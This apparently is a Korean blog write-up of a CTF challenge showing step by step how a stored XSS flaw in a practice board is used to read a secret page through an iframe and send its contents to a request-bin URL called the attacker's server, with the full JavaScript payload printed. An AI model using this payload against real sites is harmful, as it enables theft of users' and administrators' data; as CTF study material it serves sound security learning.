[CTF] Steal Info

CHIKA·2024년 7월 2일

📌
XSS (Cross Site Scripting)
Client Script 활용


링크가 많네요. 하나씩 살펴봅시다.

scriptPrac/mypage.html : 버튼이나 다른 기능 클릭해봐도 작동되는건 없음.

scriptPrac/secret.php : 권한 없음

scriptPrac/ : 메인페이지

메인페이지에서 XSS취약점 찾아 관리자 정보 탈취하면 될 것같다.
secret.php는 권한때문에 접속이 불가능 하니까 scriptPrac/mypage.html를 이용해서 정보를 탈취해보자.

1. XSS 취약점 찾기


메인페이지에서 회원가입 - 로그인 후 게시판에다 글을 써보자.
특수문자 삽입가능 여부 확인위해 제목과 내용에 test<'"> 입력

notice_write.php

notice_read.php

posting_contents 는 HTML Entity 적용이 안되고 있다.

스크립트가 잘 작동하는지 보기 위해 alert(1) 부터 출력해보자.

notice_write.php

notice_read.php

XSS 포인트 확인!

2. iframe으로 mypage.html 삽입하기


mypage.html에 있는 정보를 가져오고 싶은데 XSS 포인트는 notice_read.php 에 있다.
그렇다고 notice_read.php에서 mypage.html로 리다이렉트 시키면
우리가 작성했던 스크립트는 쓸모가 없어진다! 어떻게 해야 할까? iframe을 사용하면 된다.

📌 iframe
inline Frame의 약자로, 웹 페이지 안에 다른 웹페이지를 삽입한다.

<iframe src="삽입하는 웹페이지 URL" title="내용"></iframe>

게시판에 iframe으로 mypage.html을 삽입해보자.

notice_write.php

notice_read.php

3. mypage.html 이용해서 DOM 요소 확인


mypage.html

This is a Very Secret Info. 라고 적혀있는 곳에 중요한 정보가 있겠죠?
javascript로 class = "card-text" 의 내용을 가져와 봅시다.

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="targetFrame"></iframe>
<!--script에서 iframe에 접근할 수 있게 id="targetFrame" 설정-->
<script>
    var targetTag = document.getElementById('targetFrame');
    targetTag.onload = function() {
    var DOMData = targetTag.contentDocument;
	alert(DOMData.getElementsByClassName('card-text')[0].textContent);
    //요소 내의 text를 가져오기 위해 textContent 사용. innerHTML 써도 됌.
	
};    
</script>

notice_write.php

작성하고 게시물 확인하면

This is a Very Secret Info. 를 가져와야 하는데 잘못 갖고왔네요.

수정해서 게시글 등록합니다.

이제 원하는 정보를 가져올 수 있다!

4. 관리자 정보 탈취


alert로 출력했던 값을 공격자 서버로 보내보자.

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="targetFrame"></iframe>
<!--script에서 iframe에 접근할 수 있게 id="targetFrame" 설정-->
<script>
    var targetTag = document.getElementById('targetFrame');
    targetTag.onload = function() {
    var DOMData = targetTag.contentDocument;
	var secretData = DOMData.getElementsByClassName('card-text')[0].textContent;
    //요소 내의 text를 가져오기 위해 textContent 사용. innerHTML 써도 됌.
	var i =new Image();
    i.src=`https://en2hyoic3j7mi.x.pipedream.net/?SecretData=${secretData}`
    //secretData를 공격자 서버로 전송.
};    
</script>

notice_write.php

게시물 확인하면

secretData를 공격자 서버로 보낸다.

이 URL을 관리자 봇에게 보내자.

관리자 정보가 아니고 This is a Very Secret Info. 를 가져오고 있다.

실제 관리자 정보는 mypage.html 가 아니라secret.php 있으므로 주소를 바꿔주자.

해당 URL 관리자 봇에게 전송


관리자 정보 탈취 완료!

참고자료
https://wikidocs.net/86838

0개의 댓글